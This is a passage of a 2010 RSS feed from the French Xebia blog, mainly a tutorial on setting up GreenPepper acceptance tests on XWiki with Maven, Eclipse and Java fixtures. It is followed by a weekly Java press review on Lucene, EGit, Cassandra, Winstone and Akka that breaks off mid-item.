href="http://github.com/rmat0n/scala-samples" title="scalasamples" >scala-samples</a> qui possède cette double configuration idea/eclipse.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/05/11/configurer-vos-projets-sbt-pour-eclipse-ou-intellij-idea/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Premiers pas avec GreenPepper XWiki</title><link>http://blog.xebia.fr/2010/04/09/premiers-pas-avec-greenpepper-xwiki/</link> <comments>http://blog.xebia.fr/2010/04/09/premiers-pas-avec-greenpepper-xwiki/#comments</comments> <pubDate>Fri, 09 Apr 2010 07:44:49 +0000</pubDate> <dc:creator>Nathaniel Richand</dc:creator> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Acceptance Test Driven Development]]></category> <category><![CDATA[ATDD]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[GreenPepper]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[XWiki]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4367</guid> <description><![CDATA[Adepte de longue date de Fitnesse, j&#8217;ai toujours aimé l&#8217;aspect collaboratif du wiki permettant de sortir les tests du code et de les exposer à d&#8217;autres populations moins technique. Cependant, malgré le succès du projet et la grande communauté qui l&#8217;entoure, Fitnesse reste compliqué à mettre en place et certaines fonctionnalités de bases font cruellement [...]]]></description> <content:encoded><![CDATA[<div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/logoGP.png" border="0" alt="" /></div><p>Adepte de longue date de <a
href="http://fitnesse.org/" title="Fitnesse" >Fitnesse</a>, j&#8217;ai toujours aimé l&#8217;aspect collaboratif du wiki permettant de sortir les tests du code et de les exposer à d&#8217;autres populations moins technique. Cependant, malgré le succès du projet et la grande communauté qui l&#8217;entoure, Fitnesse reste compliqué à mettre en place et certaines fonctionnalités de bases font cruellement défaut. De plus, le passage de Fit à <a
href="http://blog.objectmentor.com/articles/2008/10/02/slim" title="Slim" >Slim</a> a fortement contribué à complexifier le projet.<br
/> Pour moi, Fitnesse est un projet passionnant et porteur de nombreuses innovations. Cependant, l&#8217;absence de structuration et le manque de documentation le rend très difficile à mettre en oeuvre et demande une réelle expérience. Je vous conseille tout de même de garder un oeil sur celui-ci, car, depuis l&#8217;année dernière, le projet est redevenu très dynamique (pas moins de sept releases) et semble gagner en maturité (je vous conseille notamment <a
href="http://blog.octo.com/fitnesse-maven-hudson-pour-une-integration-continue-des-tests-d%E2%80%99acceptance/">cet article</a> sur les nouveautés).</p><p>J&#8217;ai plusieurs fois dans le passé eu l&#8217;occasion de voir des présentations de <a
href="http://www.greenpeppersoftware.com/" title="GreenPepper" >GreenPepper</a> par les équipes de Pyxis. GreenPepper partage le même concept que Fit/Fitnesse mais a fait le choix de s&#8217;appuyer sur un Wiki existant robuste et mature : <a
href="http://www.atlassian.com/software/confluence/" title="Confluence" >Confluence</a>. Ce choix est un des gros atouts de GreenPepper, mais c&#8217;est aussi la raison qui m&#8217;a toujours fait écarter cette alternative. En effet, j&#8217;ai toujours trouvé difficile de promouvoir un logiciel en expliquant qu&#8217;il faudrait non pas acheter une mais deux licences (pour les entreprises non équipées en Confluence) et qu&#8217;il faudrait configurer et maintenir les deux logiciels.</p><p>Cependant, ce point de blocage a été adressé lors de la version 2.6 sortie en novembre 2009, qui permet désormais de pouvoir faire reposer GreenPepper sur XWiki qui est gratuit et open source.</p><p>Je vous propose donc de m&#8217;accompagner dans le test de cette nouvelle version au travers de cet article qui aborde :</p><ul><li>l&#8217;installation de GreenPepper et la configuration de XWiki,</li><li>la création des premiers tests,</li><li>la configuration de Maven et Eclipse pour GreenPepper,</li><li>la création des fixtures,</li><li>un petit retour d&#8217;expérience,</li><li>mes espoirs pour le futur.</li></ul><p>Avant de vous lancer dans la lecture de cet article, notez que celui-ci est purement technique et nullement philosophique. La présentation de l&#8217;<a
href="http://www.slideshare.net/ehendrickson/introduction-to-acceptance-test-driven-development-3491703" title="ATDD" >ATDD</a> (Acceptance Test Driven Development) ne sera pas abordée ici.</p><h3><a
name="InstallationdeGreenPepperetcon"></a>Installation de GreenPepper et configuration de XWiki</h3><p>Pour ce test, je suis parti sur la version <a
href="http://www.greenpeppersoftware.com/confluence/display/GPW/Download" title="Standalone" >Standalone</a> avec Jetty et HsqlDB embarqués. Téléchargement, unzip, <code>start_xwiki.bat</code>, c&#8217;est parti!</p><p>Je me connecte avec un login d&#8217;administrateur pour configurer GreenPepper (par défaut Admin/admin). Il faut noter qu&#8217;il n&#8217;y a pas de groupe de droits dédié pour GreenPepper, uniquement le groupe &laquo;&nbsp;greenpepper-users&nbsp;&raquo; destiné à identifier les utilisateurs autorisés pour la version avec licence.</p><p>Pour les besoins de ce test, je saisis un numéro de licence d&#8217;essai.</p><p>Puis je me crée un nouvel espace qui va accueillir les tests de mon application. Ici, un batch créé précédemment pour les besoins d&#8217;un XKE :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/New_space.jpg" border="0" alt="" /></div><p>Et je définis mon espace comme un projet GreenPepper :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/GPRegisterSpace.jpg" border="0" alt="" /></div><h3><a
name="Crationdespremierstests"></a>Création des premiers tests</h3><p>Le wiki étant prêt, je peux passer à l&#8217;écriture de mes premiers tests. Pour cela, je commence par créer une page pour accueillir mon test :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/createPage.jpg" border="0" alt="" /></div><h4><a
name="Premiertest"></a>Premier test</h4><p>Pour mon premier test je vais tester le format <a
href="http://www.greenpeppersoftware.com/confluence/display/GPWODOC/4.+Do+With+fixture" title="do with" >do with</a> qui correspond à un flow, voici mon test en format wiki :</p><pre class="brush: java; title: ; notranslate">
|= import| fr.xebia.batch.fixture
Ce test va simplement lancer mon batch et m'afficher en couleur le résultat d'exécution :
|= do with|=xebian
|lancer le batch
</pre><p>Cependant, il est très agréable également d&#8217;utiliser l&#8217;éditeur WYSIWYG. Celui-ci fera plaisir au gens du métier qui n&#8217;aime en général pas trop la syntaxe Wiki :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/GPWysiwyg.jpg" border="0" alt="" /></div><p>Il existe des compléments dans fitnesse tels <a
href="http://sourceforge.net/projects/richnesse/develop" title="RichNesse" >RichNesse</a> pour avoir un éditeur graphique, mais cette alternative était assez buggée lors de ma dernière utilisation&#8230;</p><h4><a
name="Secondtest"></a>Second test</h4><p>Pour ce deuxième test je vais essayer le format <a
href="http://www.greenpeppersoftware.com/confluence/display/GPWODOC/5.+Scenario+Fixture" title="scenario" >scenario</a>. Ce format est assez révolutionnaire, et permet d&#8217;écrire une spécification de manière naturelle sans devoir découper dans un tableau le passage de variables. Pour récupérer dans le code les variables, on procèdera par des expressions régulières (voir plus bas).</p><pre class="brush: java; title: ; notranslate">
{{greenpepper-import parameter=&quot;fr.xebia.batch.fixture&quot;/}}
|= Scenario |= XebianScenario
|= lancer le batch xebia avec le fichier toto.xml
|= vérifier que les 2 affaires ont été créées
</pre><p>Les variables qu&#8217;il nous faudra récupérer sont &laquo;&nbsp;xebia&nbsp;&raquo;, &laquo;&nbsp;toto.xml&nbsp;&raquo; et &laquo;&nbsp;2&#8243;. A noter que j&#8217;ai utilisé ici la macro <a
href="http://www.greenpeppersoftware.com/confluence/display/GPWODOC/XWiki+Import+macro|import macro" title="import" >import</a>. Son intérêt est de masquer le tableau contenant les imports de package. Ainsi notre page ne contient que des données métiers et aucune donnée technique :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/ScenarioEditeur.jpg" border="0" alt="" /></div><h4><a
name="Organisationdestests"></a>Organisation des tests</h4><p>Lorsque nous avons plusieurs tests, nous voulons pouvoir exécuter tous nos tests en un seul clic, ou bien tous les tests correspondants à une story donnée. Sous GreenPepper, on retrouve la notion de Suite existant dans Fitnesse. Pour faire ceci, j&#8217;ai trouvé deux macros différentes. Soit la macro children <code>greenpepper-children expanded="true"/</code> qui va récupérer toutes les pages GreenPepper filles, soit la macro labels qui va récupérer toutes les pages d&#8217;un tag donné, par exemple : <code>{{greenpepper-labels spaceKey="GreenPepper Batch" title="Batch" labels="Batch" expanded="true" openInSameWindow="true"/}}</code>. Voici ce que donne nos deux macros :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/MacroExec.jpg" border="0" alt="" /></div><h3><a
name="ConfigurationdeMavenetEclipse"></a>Configuration de Maven et Eclipse</h3><p>Configurer un projet java simple sous GreenPepper est trivial (tout comme sous Fitnesse). Il suffit d&#8217;utiliser le runner Java et de définir le chemin vers les jars que l&#8217;on teste, notre SUT (System Under Test), ainsi que le chemin vers nos fixtures (nos tests qui vont appeler notre SUT).</p><h4><a
name="Maven"></a>Maven</h4><p>Le challenge pour moi, était de voir comment se comportait GreenPepper avec Maven. J&#8217;avais été très déçu par Fitnesse qui a pendant très longtemps dénigré Maven malgré sa popularité. S&#8217;il existe beaucoup de solutions pour intégrer Maven à Fitnesse, aucune ne fonctionne vraiment. Après m&#8217;être arraché les cheveux, j&#8217;avoue avoir fini par me faire ma propre solution &#8216;bancale&#8217;.</p><p>Pour intégrer Maven à GreenPepper, j&#8217;ai au final dû passer deux heures maximum (en me faisant aider par le forum cependant). A noter que l&#8217;intégration de Maven n&#8217;est pas parfaite, mais elle a le mérite d&#8217;être fonctionnelle. Elle se contente de chercher les <code>&lt;dependencies&gt;</code> définie dans le <code>pom.xml</code>.</p><p>Procédure d&#8217;installation (voir également la <a
href="http://www.greenpeppersoftware.com/confluence/display/GP/Maven+Runner" title="documentation" >documentation</a>) :</p><p>Copiez le jar du runner maven (<a
href="http://www.greenpeppersoftware.com/confluence/display/GPW/Download" title=" tlcharger" >à télécharger</a>) dans le répertoire : <em>greenpepper/maven/runner</em></p><p>Ajoutez un nouveau Runner :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/MavenRunner.jpg" border="0" alt="" /></div><ul><li>Command Line :</li></ul><pre class="brush: java; title: ; notranslate">
java -mx252m -cp ${classpaths} ${mainClass} ${inputPath} ${outputPath} -l ${locale} -r ${repository} -f ${fixtureFactory} --xml --pdd ${projectDependencyDescriptor}
</pre><ul><li>Main class : com.greenpepper.maven.runner.Main</li><li>Environment : Java</li></ul><ul><li>Ajoutez dans la partie classpath le runner maven ainsi que les jar de maven embedded :</li></ul><pre class="brush: java; title: ; notranslate">
greenpepper/maven/runner/greenpepper-maven-runner-2.7-complete.jar
C:\apache-maven-2.2.1\lib\maven-2.2.1-uber.jar
C:\apache-maven-2.2.1\boot\classworlds-1.1.jar
</pre><p>Ensuite, définissez votre SUT en renseignant le nouveau Runner Maven ainsi que le chemin vers le pom.xml (Project dependency descriptor) :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/SutMaven.jpg" border="0" alt="" /></div><p>Attention 1 : Il ne faut pas renseigner les champs &laquo;&nbsp;System under test classpaths&nbsp;&raquo; et &laquo;&nbsp;fixture classpaths&nbsp;&raquo; qui rentrent en conflit avec la définition du <code>pom.xml</code>.<br
/> Attention 2 : De part l&#8217;utilisation de maven embedded, le fichier <em>settings.xml</em> de maven n&#8217;est pas utilisé. Il faut donc placer son dépôt local dans le répertoire par défaut (<em>user/.m2/repository</em>). Si cela vous pose problème, suivez l&#8217;évolution de la <a
href="http://www.greenpeppersoftware.com/jira/browse/GP-818" title="JIRA associe" >JIRA associée</a>.</p><p>Et voilà, tout fonctionne correctement <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p><h4><a
name="Eclipse"></a>Eclipse</h4><p>Autre déception pour moi avec Fitnesse, son manque d&#8217;intégration avec nos IDE. Il existe quelques embryons de projets d&#8217;intégration de Fitnesse et Eclipse, mais je n&#8217;ai jamais réussi à avoir quelque chose qui soit véritablement fonctionnel &#8230;</p><p>Voici ma procédure avec GreenPepper :</p><ul><li>Installer le plugin depuis l&#8217;update site : <a
href="http://www.greenpeppersoftware.com/greenpepper-eclipse" title="httpwwwgreenpeppersoftwarecomgreenpeppereclipse" >http://www.greenpeppersoftware.com/greenpepper-eclipse</a></li></ul><ul><li>Configurer le plugin, dans windows => preferences :</li></ul><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/EclipseGP.jpg" border="0" alt="" /></div><p>Server&#8217;s context path : <a
href="http://localhost:8080/xwiki/greenpepper/xmlrpc" title="httplocalhost8080xwikigreenpepperxmlrpc" >http://localhost:8080/xwiki/greenpepper/xmlrpc</a><br
/> Server&#8217;s XML RPC handler : greenpepper1</p><ul><li>GreenPepperiser le projet depuis le menu &laquo;&nbsp;GreenPepper&nbsp;&raquo;.</li></ul><ul><li>Configurer le SUT dans les paramètres du projet (project->properties->GreenPepper).</li></ul><p>Il y a beaucoup d&#8217;options, j&#8217;ai juste sélectionné dans la liste mon projet, mon SUT et renseigné un lien vers mon runner (C:\greenpepper-xwiki-enterprise-jetty-hsqldb-2.7\greenpepper\java\runner).</p><p>Après avoir fait ceci, mes tests remontent directement sous Eclipse et sont exécutables :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/04/EclipseGPRun.jpg" border="0" alt="" /></div><h3><a
name="Crationdesfixtures"></a>Création des fixtures</h3><p>Après avoir écrit nos tests, il faut maintenant faire le lien avec le code que l&#8217;on souhaite tester en créant des fixtures.</p><ul><li>Test 1 (Do with):</li></ul><p>Cette fixture, va être appelée par notre premier test défini plus tôt.</p><pre class="brush: java; title: ; notranslate">
public class XebianFixture {
    public boolean lancerLeBatch(){
	//Exécute mon batch
	return &quot;COMPLETED&quot;.equals(monBatch.getExitCode());
    }
 }
</pre><ul><li>Test 2 (Scenario):</li></ul><p>Rajouter la dépendance vers GreenPepper dans le projet de fixtures pour avoir les annotations :</p><pre class="brush: xml; title: ; notranslate">
&lt;dependency&gt;
      &lt;groupId&gt;greenpepper-open&lt;/groupId&gt;
      &lt;artifactId&gt;greenpepper-core&lt;/artifactId&gt;
      &lt;version&gt;2.7&lt;/version&gt;
  &lt;/dependency&gt;
   &lt;repositories&gt;
      &lt;repository&gt;
	  &lt;id&gt;GreenPepper&lt;/id&gt;
	  &lt;name&gt;GreenPepper&lt;/name&gt;
	  &lt;url&gt;http://www.greenpeppersoftware.com/nexus/content/groups/public&lt;/url&gt;
      &lt;/repository&gt;
   &lt;/repositories&gt;
</pre><p>Puis faire le lien avec notre code à tester :</p><pre class="brush: java; title: ; notranslate">
public class XebianScenarioFixture {
	int resultingAffaire;
	@Given(&quot;lancer le batch (\\w+) avec le fichier (\\w+\\.xml)&quot;)
	public void launch(String batchName, String fileName){
		System.out.println(batchName);
		System.out.println(fileName);
		//Appeler notre batch et stocker le nombre d'affaire créées dans resultingAffaire
	}
	@Check(&quot;vérifier que les (\\d+) affaires ont été créées&quot;)
	public boolean verifyResult(int expectedAffaire){
		return expectedAffaire == resultingAffaire;
	}
}
</pre><p>On voit que le mode scénario apporte de nombreux avantages. Outre le fait de pouvoir écrire des tests de manière très naturelle, nos fixtures deviennent également beaucoup plus lisibles ! Les méthodes ne possèdent pas de noms à rallonge comme sous Fitnesse et, de plus, l&#8217;intention de la méthode est clairement exprimée par l&#8217;annotation  (<code>@Given</code>, <code>@When</code>, <code>@Then</code>, <code>@Check</code>, &#8230;). Les arguments sont automatiquement mappés grâce aux expressions régulières qui restent relativement triviales à écrire. Si vous cherchez plus d&#8217;exemples, je vous propose <a
href="http://www.greenpeppersoftware.com/blog/2010/02/02/un-exemple-bdd-avec-greenpepper/" title="un article" >un article</a> sur le blog de GreenPepper. Mon seul bémol porte sur l&#8217;utilisation de l&#8217;annotation <code>@Then</code> que je n&#8217;ai pas encore bien compris, je lui préfère le <code>@Check</code> pour le moment.</p><h3><a
name="Retourdexprience"></a>Retour d&#8217;expérience</h3><p>Vous aurez donc compris à la lecture de cet article que j&#8217;ai vraiment été conquis par GreenPepper. Au bout de seulement quelques heures je me sens à l&#8217;aise et pleinement prêt à l&#8217;utiliser.</p><p>Thomas, il y a un peu plus d&#8217;un an, parlait dans son article (<a
href="http://www.tomsquest.com/blog/presentation-et-retour-sur-greenpepper/" title="que je vous encourage  lire" >que je vous encourage à lire</a>) de certaines difficultés rencontrées lors de la mise en place de GreenPepper, dont notamment la documentation, Eclipse et Maven. Le produit a bien évolué depuis (3 releases en 2009) et je n&#8217;ai pas du tout rencontré ce genre de soucis. Au contraire, je trouve la documentation plutôt bonne ce qui compense l&#8217;absence de réelle communauté autour du projet (c&#8217;est exactement l&#8217;inverse avec Fitnesse).</p><p>Enfin, une note particulière sur le support : félicitations ! J&#8217;ai connu des supports payants totalement incompétents, dont je ne citerai pas les noms, qui se contentaient de vous recommander d&#8217;acheter la version supérieure. Ici, je n&#8217;ai pas déboursé un seul centime et j&#8217;ai eu des réponses pointues <a
href="http://www.greenpeppersoftware.com/site/forums/show/7.page" title="dans un dlai variant de 10 minutes  quelques heures" >dans un délai variant de 10 minutes à quelques heures</a> (et encore l&#8217;équipe de développement semble être au Canada). Un grand merci aux équipes de GreenPepper et plus particulièrement à François Denommée pour leur professionnalisme.</p><h3><a
name="Futur"></a>Futur</h3><p>La version de GreenPepper sur XWiki est encore jeune (fin de l&#8217;année 2009) et certaines fonctionnalités ne sont encore présentes que dans la version confluence. On attend donc encore certaines fonctionnalités avec impatience (ce qui ne devrait pas tarder vu le dynamisme du produit).<br
/> Parmi celles-ci, j&#8217;en retiens trois particulièrement qui continueront de rendre ce produit indispensable :</p><ul><li>la notion de &laquo;&nbsp;tag as implemented&nbsp;&raquo; : le testeur ou la personne du métier rédige le cas de test, or celui-ci n&#8217;est pas exécutable tant que le développeur n&#8217;a pas créé la fixture associée.</li></ul><p>Ce flag permet de marquer (directement depuis Eclipse) que le test est prêt à être exécuté.</p><ul><li>La macro <a
href="http://www.greenpeppersoftware.com/confluence/display/GPWODOC/Historic+macro" title="historique dexcution" >historique d&#8217;exécution</a> : cette macro permet de suivre l&#8217;évolution de l&#8217;exécution des tests dans le temps.</li><li>La macro <a
href="http://www.greenpeppersoftware.com/confluence/display/GPWODOC/Include+macro" title="include" >include</a> : qui permet d&#8217;inclure une page de test dans un autre test. Cette fonctionnalité est très intéressante notamment dans le cas où on a une page qui contient l&#8217;initialisation de données communes à plusieurs tests.</li></ul><p>Voilà, je vous laisse maintenant avec toutes les cartes en main pour essayer. Bons tests à vous (dans les 2 sens) !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/04/09/premiers-pas-avec-greenpepper-xwiki/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153/</link> <comments>http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153/#comments</comments> <pubDate>Mon, 29 Mar 2010 17:21:49 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Cassandra]]></category> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[git]]></category> <category><![CDATA[Lucene]]></category> <category><![CDATA[Winstone]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4276</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Restructurations en série dans la communauté Lucene Vers un vrai support de Git dans Eclipse ? Le coin de la technique Bien débuter avec Cassandra Winstone : un conteneur de Servlet léger et oublié Akka 0.7 dans les bacs Actualité [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153#Restructurationsensriedanslaco">Restructurations en série dans la communauté Lucene</a></li><li><a
href="http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153#VersunvraisupportdeGITdansEcli">Vers un vrai support de Git dans Eclipse ?</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153#BiendbuteravecCassandra">Bien débuter avec Cassandra</a></li><li><a
href="http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153#WinstoneunconteneurdeServletlg">Winstone : un conteneur de Servlet léger et oublié</a></li><li><a
href="http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153#Akkadanslesbacs">Akka 0.7 dans les bacs</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="Restructurationsensriedanslaco"></a>Restructurations en série dans la communauté Lucene</h4><p>Les projets liés à <a
href="http://lucene.apache.org/" title="Apache Lucene" >Apache Lucene</a> ont connu ces dernières semaines de nombreuses restructurations. Il s&#8217;agit principalement de changements de statut :</p><ul><li>Les projets Lucene et Solr ont été regroupés. Concrètement les <em>commiters</em> de Lucene et de Solr auront désormais accès aux sources des deux projets et les décisions seront communes. De plus grandes synergies devraient donc en découler.</li></ul><ul><li>Le projet <a
href="http://lucene.apache.org/tika/" title="Apache Tika" >Apache Tika</a> &#8211; qui permet d&#8217;extraire du texte structuré depuis de nombreux formats de documents tels que PDF, Microsoft Office, OpenOffice, XML, HTML, RTF &#8211; va devenir un projet Apache <em>top level</em> et ne sera donc plus rattaché à Lucene comme c&#8217;est le cas aujourd&#8217;hui.</li></ul><ul><li>Le projet <a
href="http://lucene.apache.org/mahout/" title="Apache Mahout" >Apache Mahout</a> &#8211; dont le but très ambitieux est de rendre accessibles de nombreux algorithmes de <em>Natural Language Processing</em> et de <em>Machine Learning</em> &#8211; va devenir un projet Apache <em>top level</em> et ce malgré son jeune âge. Ce projet montre en effet une croissance très rapide qui justifie de le détacher de Lucene.</li></ul><ul><li>Le projet <a
href="http://lucene.apache.org/nutch/">Apache Nutch</a> reste pour le moment rattaché à Lucene car il ne rassemble pas encore une communauté suffisamment large.</li></ul><p>Depuis plusieurs années maintenant, le projet Lucene se comporte comme un incubateur de projets liés aux problématiques d&#8217;analyse de texte et de traitement distribué (Hadoop était précédemment <a
href="http://blog.lucene.com/2006/03/13/hadoop/">rattaché à Nutch</a> et donc à Lucene). Il constitue ainsi une très importante source d&#8217;innovation parmi les projets de la fondation Apache.</p><h4><a
name="VersunvraisupportdeGITdansEcli"></a>Vers un vrai support de Git dans Eclipse ?</h4><p>A l&#8217;occasion de la conférence <a
href="http://www.eclipsecon.org/2010/" title="EclipseCon 2010" >EclipseCon 2010</a>, une première version publique 0.7.1 de <a
href="http://www.eclipse.org/egit/" title="EGit" >EGit</a> a été <a
href="http://dev.eclipse.org/mhonarc/lists/egit-dev/msg01002.html">mise à disposition</a>. Ce <em>plugin</em> Eclipse pour Git doit offrir un support complet du système de gestion de sources distribué développé par Linus Torvalds. EGit s&#8217;intègre naturellement avec le système de travail en équipe d&#8217;Eclipse et se base sur JGit, une librairie 100 % Java, pour s&#8217;interfacer avec Git.</p><p>Les SCM distribués font l&#8217;objet d&#8217;une attention croissante, mais tout reste encore à faire. Les SCM traditionnels tels que Subversion et CVS bénéficient en effet d&#8217;un support très complet dans les IDE et les outils de développements. Git, quant à lui, n&#8217;était jusqu&#8217;alors pas intégré correctement à Eclipse alors qu&#8217;IntelliJ offre déjà son support en standard. Le <a
href="http://nbgit.org/" title="support pour NetBeans" >support pour NetBeans</a> n&#8217;est quant à lui qu&#8217;expérimental actuellement.</p><p>Ce manque était probablement suffisamment gênant pour pousser la fondation Eclipse à créer le projet EGit <a
href="http://www.eclipse.org/proposals/egit/" title="en septembre dernier" >en septembre dernier</a> avec pour objectif une première version finale 1.0 dans le courant de l&#8217;année 2010. Parmi les contributeurs à ce projet on compte Google, SAP ou encore Redhat, ce qui montre l&#8217;aspect stratégique qu&#8217;une telle intégration présente.</p><p>On notera le choix délibéré de la fondation Eclipse de développer conjointement le <em>plugin</em> EGit et la librairie JGit pour s&#8217;interfacer à Java. Dans la mesure où l&#8217;arrivée de <a
href="http://svnkit.com/" title="SVNKit" >SVNKit</a>, qui offrait un support 100 % Java pour Subversion, a largement contribué à l&#8217;adoption de Subversion par les utilisateurs Eclipse, on comprend cette décision.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="BiendbuteravecCassandra"></a>Bien débuter avec Cassandra</h4><p>Lors de la dernière session du <a
href="https://sites.google.com/a/octo.com/nosql/" title="NoSQL User Group de Paris" >NoSQL User Group de Paris</a>, Tim Anglade, présentait ses impressions sur la conférence <a
href="http://nosqlboston.eventbrite.com/" title="NoSQL Live" >NoSQL Live</a> de Boston. Il en ressortait que l&#8217;intérêt parmi les bases de données NoSQL était clairement porté sur <a
href="http://cassandra.apache.org/" title="Cassandra" >Cassandra</a> sur lequel sont effectué les plus gros déploiements actuellement. A noter tout de même que <a
href="http://blog.xebia.fr/2009/11/18/devoxx-jour-1-nosql-avec-hbase/" title="HBase" >HBase</a> reste largement plébiscité car il permet des traitements MapReduce, ce que Cassandra ne permet pas.</p><p>L&#8217;attrait est donc grand pour le développeur d&#8217;expérimenter Cassandra afin d&#8217;étudier son comportement et les facilités d&#8217;intégration proposées. Malheureusement sa documentation reste encore incomplète et se compose d&#8217;un ensemble de pages wiki relativement décousues qu&#8217;il est délicat d&#8217;aborder rapidement.</p><p>Pour palier en partie ce manque, Ronald Mathies vient de poster une série d&#8217;articles (<a
href="http://www.sodeso.nl/?p=80">partie 1</a>, <a
href="http://www.sodeso.nl/?p=108">2</a>, <a
href="http://www.sodeso.nl/?p=207">3</a> et <a
href="http://www.sodeso.nl/?p=251">4</a>) contenant l&#8217;ensemble des informations nécessaires pour bien démarrer : installation et configuration de Cassandra, définition d&#8217;un modèle de données et création des colonnes, lectures et écritures, configuration de Thrift pour les invocations distantes.</p><p>Les lecteurs intéressés par la compréhension de ces technologies pourront également se tourner vers <a
href="http://jnb.ociweb.com/jnb/jnbJun2009.html" title="ce guide trs complet" >ce guide très complet</a> d&#8217;Apache Thrift, la technologie RPC standard de Cassandra.</p><h4><a
name="WinstoneunconteneurdeServletlg"></a>Winstone : un conteneur de Servlet léger et oublié</h4><p>Depuis plusieurs années, les conteneurs de Servlet couramment utilisés sont Tomcat et Jetty et dans une moindre mesure Resin. <a
href="http://winstone.sourceforge.net" title="Winstone" >Winstone</a> se présente comme une alternative à ces serveurs en mettant en avant son extrême légèreté : son <em>package</em> Jar de base ne pèse que 170 Ko !</p><p>Ce projet a fait parler de lui ces dernières semaines après plusieurs années passées dans l&#8217;ignorance comme le montre les quelques 10.000 téléchargements <a
href="http://sourceforge.net/projects/winstone/files/">qu&#8217;il a totalisé</a> sur SourceForge en 4 ans.</p><p>Sa taille réduite ne l&#8217;empêche pas de proposer une implémentation de la spécification Servlet 2.5, une compilation des JSP avec Jasper ainsi que de nombreuses fonctionnalités appréciables et surprenantes dans un produit d&#8217;une telle taille :</p><ul><li>Intégration à Apache HTTP Server avec <a
href="http://en.wikipedia.org/wiki/Apache_JServ_Protocol" title="AJP" >AJP</a></li><li>Le support de JNDI permettant par exemple la définition de <em>DataSources</em> JDBC</li><li>Le <em>clustering</em> possible par la présence d&#8217;une réplication de sessions</li><li>La persistance des sessions entre les redémarrages ce qui est particulièrement utile en phase de développement</li></ul><p>Les fonctionnalités sont clairement en retrait par rapport aux conteneurs de Servlet traditionnels mais l&#8217;auteur explique que son but est avant tout de proposer une solution très légère et facilement embarquable dans une application Java.</p><h4><a
name="Akkadanslesbacs"></a>Akka 0.7 dans les bacs</h4><p>Décidément, <a
href="http://jonasboner.com/" title="Jonas Bonér" >Jonas Bonér</a> est très actif ! En effet, il n&#8217;aura fallu attendre qu&#8217;<a
href="http://blog.xebia.fr/2010/01/11/revue-de-presse-xebia-142/#Akkaamlioreencorelaprogrammati" title="un mois et demi" >un mois et demi</a> pour voir sortir une nouvelle version de son framework <a
href="http://akkasource.org/" title="Akka" >Akka</a> (annonce faite via le <a
href="http://groups.google.com/group/akka-user/browse_thread/thread/836418b7417b31cc" title="Google Groups" >Google Groups</a>).</p><p>Au <a
href="http://doc.akkasource.org/release-notes" title="menu" >menu</a>, on retrouve l&#8217;intégration d&#8217;Apache Camel et de Spring, diverses améliorations autour de l&#8217;objet Future <em>(méthodes utilitaires telles que la méthode spéciale !!!)</em>, améliorations côté backend <em>(pile transactionnelle redis-based)</em> ainsi que plusieurs corrections diverses.</p><p>A noté qu&#8217;un <a
href="http://www.assembla.com/spaces/akka/milestones/177535-0-9" title="planning plutôt chargé" >planning plutôt chargé</a> attend les développeurs avec entres autres la compatibilité de Akka avec Scala 2.8, l&#8217;intégration de JTA, l&#8217;amélioration de la supervision des acteurs ou bien encore l&#8217;ajout de patterns pour systèmes distribués. Téléchargement de cette version 0.7 <a
